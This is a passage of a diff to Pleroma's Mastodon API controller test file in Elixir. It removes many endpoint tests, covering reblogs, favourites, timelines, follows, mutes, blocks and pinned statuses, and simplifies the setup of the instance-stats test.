to_string(activity.id) == id - end - - test "reblogged status for another user", %{conn: conn} do - activity = insert(:note_activity) - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - CommonAPI.favorite(activity.id, user2) - {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) - {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1) - {:ok, _, _object} = CommonAPI.repeat(activity.id, user2) - - conn_res = - conn - |> assign(:user, user3) - |> get("/api/v1/statuses/#{reblog_activity1.id}") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, - "reblogged" => false, - "favourited" => false, - "bookmarked" => false - } = json_response(conn_res, 200) - - conn_res = - conn - |> assign(:user, user2) - |> get("/api/v1/statuses/#{reblog_activity1.id}") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, - "reblogged" => true, - "favourited" => true, - "bookmarked" => true - } = json_response(conn_res, 200) - - assert to_string(activity.id) == id - end - - test "returns 400 error when activity is not exist", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/foo/reblog") - - assert json_response(conn, 400) == %{"error" => "Could not repeat"} - end - end - - describe "unreblogging" do - test "unreblogs and returns the unreblogged status", %{conn: conn} do - activity = insert(:note_activity) - user = insert(:user) - - {:ok, _, _} = CommonAPI.repeat(activity.id, user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unreblog") - - assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 400 error when activity is not exist", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/foo/unreblog") - - assert json_response(conn, 400) == %{"error" => "Could not unrepeat"} - end - end - - describe "favoriting" do - test "favs a status and returns it", %{conn: conn} do - activity = insert(:note_activity) - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/favourite") - - assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = - json_response(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 400 error for a wrong id", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/1/favourite") - - assert json_response(conn, 400) == %{"error" => "Could not favorite"} - end - end - - describe "unfavoriting" do - test "unfavorites a status and returns it", %{conn: conn} do - activity = insert(:note_activity) - user = insert(:user) - - {:ok, _, _} = CommonAPI.favorite(activity.id, user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unfavourite") - - assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = - json_response(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 400 error for a wrong id", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/1/unfavourite") - - assert json_response(conn, 400) == %{"error" => "Could not unfavorite"} - end - end - - describe "user timelines" do - test "gets a users statuses", %{conn: conn} do - user_one = insert(:user) - user_two = insert(:user) - user_three = insert(:user) - - {:ok, user_three} = User.follow(user_three, user_one) - - {:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"}) - - {:ok, direct_activity} = - CommonAPI.post(user_one, %{ - "status" => "Hi, @#{user_two.nickname}.", - "visibility" => "direct" - }) - - {:ok, private_activity} = - CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"}) - - resp = - conn - |> get("/api/v1/accounts/#{user_one.id}/statuses") - - assert [%{"id" => id}] = json_response(resp, 200) - assert id == to_string(activity.id) - - resp = - conn - |> assign(:user, user_two) - |> get("/api/v1/accounts/#{user_one.id}/statuses") - - assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200) - assert id_one == to_string(direct_activity.id) - assert id_two == to_string(activity.id) - - resp = - conn - |> assign(:user, user_three) - |> get("/api/v1/accounts/#{user_one.id}/statuses") - - assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200) - assert id_one == to_string(private_activity.id) - assert id_two == to_string(activity.id) - end - - test "unimplemented pinned statuses feature", %{conn: conn} do - note = insert(:note_activity) - user = User.get_cached_by_ap_id(note.data["actor"]) - - conn = - conn - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - - assert json_response(conn, 200) == [] - end - - test "gets an users media", %{conn: conn} do - note = insert(:note_activity) - user = User.get_cached_by_ap_id(note.data["actor"]) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id) - - {:ok, image_post} = CommonAPI.post(user, %{"status" => "cofe", "media_ids" => [media_id]}) - - conn = - conn - |> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"}) - - assert [%{"id" => id}] = json_response(conn, 200) - assert id == to_string(image_post.id) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"}) - - assert [%{"id" => id}] = json_response(conn, 200) - assert id == to_string(image_post.id) - end - - test "gets a user's statuses without reblogs", %{conn: conn} do - user = insert(:user) - {:ok, post} = CommonAPI.post(user, %{"status" => "HI!!!"}) - {:ok, _, _} = CommonAPI.repeat(post.id, user) - - conn = - conn - |> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "true"}) - - assert [%{"id" => id}] = json_response(conn, 200) - assert id == to_string(post.id) - - conn = - conn - |> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "1"}) - - assert [%{"id" => id}] = json_response(conn, 200) - assert id == to_string(post.id) - end - - test "filters user's statuses by a hashtag", %{conn: conn} do - user = insert(:user) - {:ok, post} = CommonAPI.post(user, %{"status" => "#hashtag"}) - {:ok, _post} = CommonAPI.post(user, %{"status" => "hashtag"}) - - conn = - conn - |> get("/api/v1/accounts/#{user.id}/statuses", %{"tagged" => "hashtag"}) - - assert [%{"id" => id}] = json_response(conn, 200) - assert id == to_string(post.id) - end - end - - describe "user relationships" do - test "returns the relationships for the current user", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/relationships", %{"id" => [other_user.id]}) - - assert [relationship] = json_response(conn, 200) - - assert to_string(other_user.id) == relationship["id"] - end - end - describe "media upload" do setup do user = insert(:user) @@ -1601,618 +114,6 @@ test "returns uploaded image", %{conn: conn, image: image} do end end - describe "locked accounts" do - test "/api/v1/follow_requests works" do - user = insert(:user, %{info: %User.Info{locked: true}}) - other_user = insert(:user) - - {:ok, _activity} = ActivityPub.follow(other_user, user) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == false - - conn = - build_conn() - |> assign(:user, user) - |> get("/api/v1/follow_requests") - - assert [relationship] = json_response(conn, 200) - assert to_string(other_user.id) == relationship["id"] - end - - test "/api/v1/follow_requests/:id/authorize works" do - user = insert(:user, %{info: %User.Info{locked: true}}) - other_user = insert(:user) - - {:ok, _activity} = ActivityPub.follow(other_user, user) - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == false - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/follow_requests/#{other_user.id}/authorize") - - assert relationship = json_response(conn, 200) - assert to_string(other_user.id) == relationship["id"] - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == true - end - - test "verify_credentials", %{conn: conn} do - user = insert(:user, %{info: %User.Info{default_scope: "private"}}) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/verify_credentials") - - assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200) - assert id == to_string(user.id) - end - - test "/api/v1/follow_requests/:id/reject works" do - user = insert(:user, %{info: %User.Info{locked: true}}) - other_user = insert(:user) - - {:ok, _activity} = ActivityPub.follow(other_user, user) - - user = User.get_cached_by_id(user.id) - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/follow_requests/#{other_user.id}/reject") - - assert relationship = json_response(conn, 200) - assert to_string(other_user.id) == relationship["id"] - - user = User.get_cached_by_id(user.id) - other_user = User.get_cached_by_id(other_user.id) - - assert User.following?(other_user, user) == false - end - end - - describe "account fetching" do - test "works by id" do - user = insert(:user) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.id}") - - assert %{"id" => id} = json_response(conn, 200) - assert id == to_string(user.id) - - conn = - build_conn() - |> get("/api/v1/accounts/-1") - - assert %{"error" => "Can't find user"} = json_response(conn, 404) - end - - test "works by nickname" do - user = insert(:user) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - - assert %{"id" => id} = json_response(conn, 200) - assert id == user.id - end - - test "works by nickname for remote users" do - limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) - Pleroma.Config.put([:instance, :limit_to_local_content], false) - user = insert(:user, nickname: "user@example.com", local: false) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - - Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local) - assert %{"id" => id} = json_response(conn, 200) - assert id == user.id - end - - test "respects limit_to_local_content == :all for remote user nicknames" do - limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) - Pleroma.Config.put([:instance, :limit_to_local_content], :all) - - user = insert(:user, nickname: "user@example.com", local: false) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - - Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local) - assert json_response(conn, 404) - end - - test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do - limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content]) - Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated) - - user = insert(:user, nickname: "user@example.com", local: false) - reading_user = insert(:user) - - conn = - build_conn() - |> get("/api/v1/accounts/#{user.nickname}") - - assert json_response(conn, 404) - - conn = - build_conn() - |> assign(:user, reading_user) - |> get("/api/v1/accounts/#{user.nickname}") - - Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local) - assert %{"id" => id} = json_response(conn, 200) - assert id == user.id - end - end - - test "mascot upload", %{conn: conn} do - user = insert(:user) - - non_image_file = %Plug.Upload{ - content_type: "audio/mpeg", - path: Path.absname("test/fixtures/sound.mp3"), - filename: "sound.mp3" - } - - conn = - conn - |> assign(:user, user) - |> put("/api/v1/pleroma/mascot", %{"file" => non_image_file}) - - assert json_response(conn, 415) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - conn = - build_conn() - |> assign(:user, user) - |> put("/api/v1/pleroma/mascot", %{"file" => file}) - - assert %{"id" => _, "type" => image} = json_response(conn, 200) - end - - test "mascot retrieving", %{conn: conn} do - user = insert(:user) - # When user hasn't set a mascot, we should just get pleroma tan back - conn = - conn - |> assign(:user, user) - |> get("/api/v1/pleroma/mascot") - - assert %{"url" => url} = json_response(conn, 200) - assert url =~ "pleroma-fox-tan-smol" - - # When a user sets their mascot, we should get that back - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - conn = - build_conn() - |> assign(:user, user) - |> put("/api/v1/pleroma/mascot", %{"file" => file}) - - assert json_response(conn, 200) - - user = User.get_cached_by_id(user.id) - - conn = - build_conn() - |> assign(:user, user) - |> get("/api/v1/pleroma/mascot") - - assert %{"url" => url, "type" => "image"} = json_response(conn, 200) - assert url =~ "an_image" - end - - test "hashtag timeline", %{conn: conn} do - following = insert(:user) - - capture_log(fn -> - {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"}) - - {:ok, [_activity]} = - OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") - - nconn = - conn - |> get("/api/v1/timelines/tag/2hu") - - assert [%{"id" => id}] = json_response(nconn, 200) - - assert id == to_string(activity.id) - - # works for different capitalization too - nconn = - conn - |> get("/api/v1/timelines/tag/2HU") - - assert [%{"id" => id}] = json_response(nconn, 200) - - assert id == to_string(activity.id) - end) - end - - test "multi-hashtag timeline", %{conn: conn} do - user = insert(:user) - - {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"}) - {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"}) - {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"}) - - any_test = - conn - |> get("/api/v1/timelines/tag/test", %{"any" => ["test1"]}) - - [status_none, status_test1, status_test] = json_response(any_test, 200) - - assert to_string(activity_test.id) == status_test["id"] - assert to_string(activity_test1.id) == status_test1["id"] - assert to_string(activity_none.id) == status_none["id"] - - restricted_test = - conn - |> get("/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]}) - - assert [status_test1] == json_response(restricted_test, 200) - - all_test = conn |> get("/api/v1/timelines/tag/test", %{"all" => ["none"]}) - - assert [status_none] == json_response(all_test, 200) - end - - test "getting followers", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - conn - |> get("/api/v1/accounts/#{other_user.id}/followers") - - assert [%{"id" => id}] = json_response(conn, 200) - assert id == to_string(user.id) - end - - test "getting followers, hide_followers", %{conn: conn} do - user = insert(:user) - other_user = insert(:user, %{info: %{hide_followers: true}}) - {:ok, _user} = User.follow(user, other_user) - - conn = - conn - |> get("/api/v1/accounts/#{other_user.id}/followers") - - assert [] == json_response(conn, 200) - end - - test "getting followers, hide_followers, same user requesting", %{conn: conn} do - user = insert(:user) - other_user = insert(:user, %{info: %{hide_followers: true}}) - {:ok, _user} = User.follow(user, other_user) - - conn = - conn - |> assign(:user, other_user) - |> get("/api/v1/accounts/#{other_user.id}/followers") - - refute [] == json_response(conn, 200) - end - - test "getting followers, pagination", %{conn: conn} do - user = insert(:user) - follower1 = insert(:user) - follower2 = insert(:user) - follower3 = insert(:user) - {:ok, _} = User.follow(follower1, user) - {:ok, _} = User.follow(follower2, user) - {:ok, _} = User.follow(follower3, user) - - conn = - conn - |> assign(:user, user) - - res_conn = - conn - |> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1.id}") - - assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200) - assert id3 == follower3.id - assert id2 == follower2.id - - res_conn = - conn - |> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3.id}") - - assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200) - assert id2 == follower2.id - assert id1 == follower1.id - - res_conn = - conn - |> get("/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3.id}") - - assert [%{"id" => id2}] = json_response(res_conn, 200) - assert id2 == follower2.id - - assert [link_header] = get_resp_header(res_conn, "link") - assert link_header =~ ~r/min_id=#{follower2.id}/ - assert link_header =~ ~r/max_id=#{follower2.id}/ - end - - test "getting following", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - conn - |> get("/api/v1/accounts/#{user.id}/following") - - assert [%{"id" => id}] = json_response(conn, 200) - assert id == to_string(other_user.id) - end - - test "getting following, hide_follows", %{conn: conn} do - user = insert(:user, %{info: %{hide_follows: true}}) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - conn - |> get("/api/v1/accounts/#{user.id}/following") - - assert [] == json_response(conn, 200) - end - - test "getting following, hide_follows, same user requesting", %{conn: conn} do - user = insert(:user, %{info: %{hide_follows: true}}) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/#{user.id}/following") - - refute [] == json_response(conn, 200) - end - - test "getting following, pagination", %{conn: conn} do - user = insert(:user) - following1 = insert(:user) - following2 = insert(:user) - following3 = insert(:user) - {:ok, _} = User.follow(user, following1) - {:ok, _} = User.follow(user, following2) - {:ok, _} = User.follow(user, following3) - - conn = - conn - |> assign(:user, user) - - res_conn = - conn - |> get("/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}") - - assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200) - assert id3 == following3.id - assert id2 == following2.id - - res_conn = - conn - |> get("/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}") - - assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200) - assert id2 == following2.id - assert id1 == following1.id - - res_conn = - conn - |> get("/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}") - - assert [%{"id" => id2}] = json_response(res_conn, 200) - assert id2 == following2.id - - assert [link_header] = get_resp_header(res_conn, "link") - assert link_header =~ ~r/min_id=#{following2.id}/ - assert link_header =~ ~r/max_id=#{following2.id}/ - end - - test "following / unfollowing a user", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/follow") - - assert %{"id" => _id, "following" => true} = json_response(conn, 200) - - user = User.get_cached_by_id(user.id) - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/unfollow") - - assert %{"id" => _id, "following" => false} = json_response(conn, 200) - - user = User.get_cached_by_id(user.id) - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/follows", %{"uri" => other_user.nickname}) - - assert %{"id" => id} = json_response(conn, 200) - assert id == to_string(other_user.id) - end - - test "following without reblogs" do - follower = insert(:user) - followed = insert(:user) - other_user = insert(:user) - - conn = - build_conn() - |> assign(:user, follower) - |> post("/api/v1/accounts/#{followed.id}/follow?reblogs=false") - - assert %{"showing_reblogs" => false} = json_response(conn, 200) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hey"}) - {:ok, reblog, _} = CommonAPI.repeat(activity.id, followed) - - conn = - build_conn() - |> assign(:user, User.get_cached_by_id(follower.id)) - |> get("/api/v1/timelines/home") - - assert [] == json_response(conn, 200) - - conn = - build_conn() - |> assign(:user, follower) - |> post("/api/v1/accounts/#{followed.id}/follow?reblogs=true") - - assert %{"showing_reblogs" => true} = json_response(conn, 200) - - conn = - build_conn() - |> assign(:user, User.get_cached_by_id(follower.id)) - |> get("/api/v1/timelines/home") - - expected_activity_id = reblog.id - assert [%{"id" => ^expected_activity_id}] = json_response(conn, 200) - end - - test "following / unfollowing errors" do - user = insert(:user) - - conn = - build_conn() - |> assign(:user, user) - - # self follow - conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow") - assert %{"error" => "Record not found"} = json_response(conn_res, 404) - - # self unfollow - user = User.get_cached_by_id(user.id) - conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow") - assert %{"error" => "Record not found"} = json_response(conn_res, 404) - - # self follow via uri - user = User.get_cached_by_id(user.id) - conn_res = post(conn, "/api/v1/follows", %{"uri" => user.nickname}) - assert %{"error" => "Record not found"} = json_response(conn_res, 404) - - # follow non existing user - conn_res = post(conn, "/api/v1/accounts/doesntexist/follow") - assert %{"error" => "Record not found"} = json_response(conn_res, 404) - - # follow non existing user via uri - conn_res = post(conn, "/api/v1/follows", %{"uri" => "doesntexist"}) - assert %{"error" => "Record not found"} = json_response(conn_res, 404) - - # unfollow non existing user - conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow") - assert %{"error" => "Record not found"} = json_response(conn_res, 404) - end - - describe "mute/unmute" do - test "with notifications", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/mute") - - response = json_response(conn, 200) - - assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = response - user = User.get_cached_by_id(user.id) - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/unmute") - - response = json_response(conn, 200) - assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response - end - - test "without notifications", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"}) - - response = json_response(conn, 200) - - assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = response - user = User.get_cached_by_id(user.id) - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/unmute") - - response = json_response(conn, 200) - assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response - end - end - - test "subscribing / unsubscribing to a user", %{conn: conn} do - user = insert(:user) - subscription_target = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe") - - assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200) - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe") - - assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200) - end - test "getting a list of mutes", %{conn: conn} do user = insert(:user) other_user = insert(:user) @@ -2228,27 +129,6 @@ test "getting a list of mutes", %{conn: conn} do assert [%{"id" => ^other_user_id}] = json_response(conn, 200) end - test "blocking / unblocking a user", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/block") - - assert %{"id" => _id, "blocking" => true} = json_response(conn, 200) - - user = User.get_cached_by_id(user.id) - - conn = - build_conn() - |> assign(:user, user) - |> post("/api/v1/accounts/#{other_user.id}/unblock") - - assert %{"id" => _id, "blocking" => false} = json_response(conn, 200) - end - test "getting a list of blocks", %{conn: conn} do user = insert(:user) other_user = insert(:user) @@ -2264,46 +144,6 @@ test "getting a list of blocks", %{conn: conn} do assert [%{"id" => ^other_user_id}] = json_response(conn, 200) end - test "blocking / unblocking a domain", %{conn: conn} do - user = insert(:user) - other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - - assert %{} = json_response(conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - assert User.blocks?(user, other_user) - - conn = - build_conn() - |> assign(:user, user) - |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) - - assert %{} = json_response(conn, 200) - user = User.get_cached_by_ap_id(user.ap_id) - refute User.blocks?(user, other_user) - end - - test "getting a list of domain blocks", %{conn: conn} do - user = insert(:user) - - {:ok, user} = User.block_domain(user, "bad.site") - {:ok, user} = User.block_domain(user, "even.worse.site") - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/domain_blocks") - - domain_blocks = json_response(conn, 200) - - assert "bad.site" in domain_blocks - assert "even.worse.site" in domain_blocks - end - test "unimplemented follow_requests, blocks, domain blocks" do user = insert(:user) @@ -2365,199 +205,6 @@ test "returns the favorites of a user", %{conn: conn} do assert [] = json_response(third_conn, 200) end - describe "getting favorites timeline of specified user" do - setup do - [current_user, user] = insert_pair(:user, %{info: %{hide_favorites: false}}) - [current_user: current_user, user: user] - end - - test "returns list of statuses favorited by specified user", %{ - conn: conn, - current_user: current_user, - user: user - } do - [activity | _] = insert_pair(:note_activity) - CommonAPI.favorite(activity.id, user) - - response = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response(:ok) - - [like] = response - - assert length(response) == 1 - assert like["id"] == activity.id - end - - test "returns favorites for specified user_id when user is not logged in", %{ - conn: conn, - user: user - } do - activity = insert(:note_activity) - CommonAPI.favorite(activity.id, user) - - response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response(:ok) - - assert length(response) == 1 - end - - test "returns favorited DM only when user is logged in and he is one of recipients", %{ - conn: conn, - current_user: current_user, - user: user - } do - {:ok, direct} = - CommonAPI.post(current_user, %{ - "status" => "Hi @#{user.nickname}!", - "visibility" => "direct" - }) - - CommonAPI.favorite(direct.id, user) - - response = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response(:ok) - - assert length(response) == 1 - - anonymous_response = - conn - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response(:ok) - - assert Enum.empty?(anonymous_response) - end - - test "does not return others' favorited DM when user is not one of recipients", %{ - conn: conn, - current_user: current_user, - user: user - } do - user_two = insert(:user) - - {:ok, direct} = - CommonAPI.post(user_two, %{ - "status" => "Hi @#{user.nickname}!", - "visibility" => "direct" - }) - - CommonAPI.favorite(direct.id, user) - - response = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response(:ok) - - assert Enum.empty?(response) - end - - test "paginates favorites using since_id and max_id", %{ - conn: conn, - current_user: current_user, - user: user - } do - activities = insert_list(10, :note_activity) - - Enum.each(activities, fn activity -> - CommonAPI.favorite(activity.id, user) - end) - - third_activity = Enum.at(activities, 2) - seventh_activity = Enum.at(activities, 6) - - response = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{ - since_id: third_activity.id, - max_id: seventh_activity.id - }) - |> json_response(:ok) - - assert length(response) == 3 - refute third_activity in response - refute seventh_activity in response - end - - test "limits favorites using limit parameter", %{ - conn: conn, - current_user: current_user, - user: user - } do - 7 - |> insert_list(:note_activity) - |> Enum.each(fn activity -> - CommonAPI.favorite(activity.id, user) - end) - - response = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites", %{limit: "3"}) - |> json_response(:ok) - - assert length(response) == 3 - end - - test "returns empty response when user does not have any favorited statuses", %{ - conn: conn, - current_user: current_user, - user: user - } do - response = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - |> json_response(:ok) - - assert Enum.empty?(response) - end - - test "returns 404 error when specified user is not exist", %{conn: conn} do - conn = get(conn, "/api/v1/pleroma/accounts/test/favourites") - - assert json_response(conn, 404) == %{"error" => "Record not found"} - end - - test "returns 403 error when user has hidden own favorites", %{ - conn: conn, - current_user: current_user - } do - user = insert(:user, %{info: %{hide_favorites: true}}) - activity = insert(:note_activity) - CommonAPI.favorite(activity.id, user) - - conn = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - - assert json_response(conn, 403) == %{"error" => "Can't get favorites"} - end - - test "hides favorites for new users by default", %{conn: conn, current_user: current_user} do - user = insert(:user) - activity = insert(:note_activity) - CommonAPI.favorite(activity.id, user) - - conn = - conn - |> assign(:user, current_user) - |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") - - assert user.info.hide_favorites - assert json_response(conn, 403) == %{"error" => "Can't get favorites"} - end - end - test "get instance information", %{conn: conn} do conn = get(conn, "/api/v1/instance") assert result = json_response(conn, 200) @@ -2595,14 +242,11 @@ test "get instance stats", %{conn: conn} do {:ok, _} = CommonAPI.post(user, %{"status" => "cofe"}) # Stats should count users with missing or nil `info.deactivated` value - user = User.get_cached_by_id(user.id) - info_change = Changeset.change(user.info, %{deactivated: nil}) {:ok, _user} = - user - |> Changeset.change() - |> Changeset.put_embed(:info, info_change) - |> User.update_and_set_cache() + user.id + |> User.get_cached_by_id() + |> User.update_info(&Changeset.change(&1, %{deactivated: nil})) Pleroma.Stats.force_update() @@ -2645,363 +289,6 @@ test "put settings", %{conn: conn} do assert user.info.settings == %{"programming" => "socks"} end - describe "pinned statuses" do - setup do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"}) - - [user: user, activity: activity] - end - - clear_config([:instance, :max_pinned_statuses]) do - Config.put([:instance, :max_pinned_statuses], 1) - end - - test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.pin(activity.id, user) - - result = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response(200) - - id_str = to_string(activity.id) - - assert [%{"id" => ^id_str, "pinned" => true}] = result - end - - test "pin status", %{conn: conn, user: user, activity: activity} do - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "pinned" => true} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/pin") - |> json_response(200) - - assert [%{"id" => ^id_str, "pinned" => true}] = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response(200) - end - - test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do - {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"}) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{dm.id}/pin") - - assert json_response(conn, 400) == %{"error" => "Could not pin"} - end - - test "unpin status", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.pin(activity.id, user) - - id_str = to_string(activity.id) - user = refresh_record(user) - - assert %{"id" => ^id_str, "pinned" => false} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unpin") - |> json_response(200) - - assert [] = - conn - |> assign(:user, user) - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response(200) - end - - test "/unpin: returns 400 error when activity is not exist", %{conn: conn, user: user} do - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/1/unpin") - - assert json_response(conn, 400) == %{"error" => "Could not unpin"} - end - - test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do - {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"}) - - id_str_one = to_string(activity_one.id) - - assert %{"id" => ^id_str_one, "pinned" => true} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{id_str_one}/pin") - |> json_response(200) - - user = refresh_record(user) - - assert %{"error" => "You have already pinned the maximum number of statuses"} = - conn - |> assign(:user, user) - |> 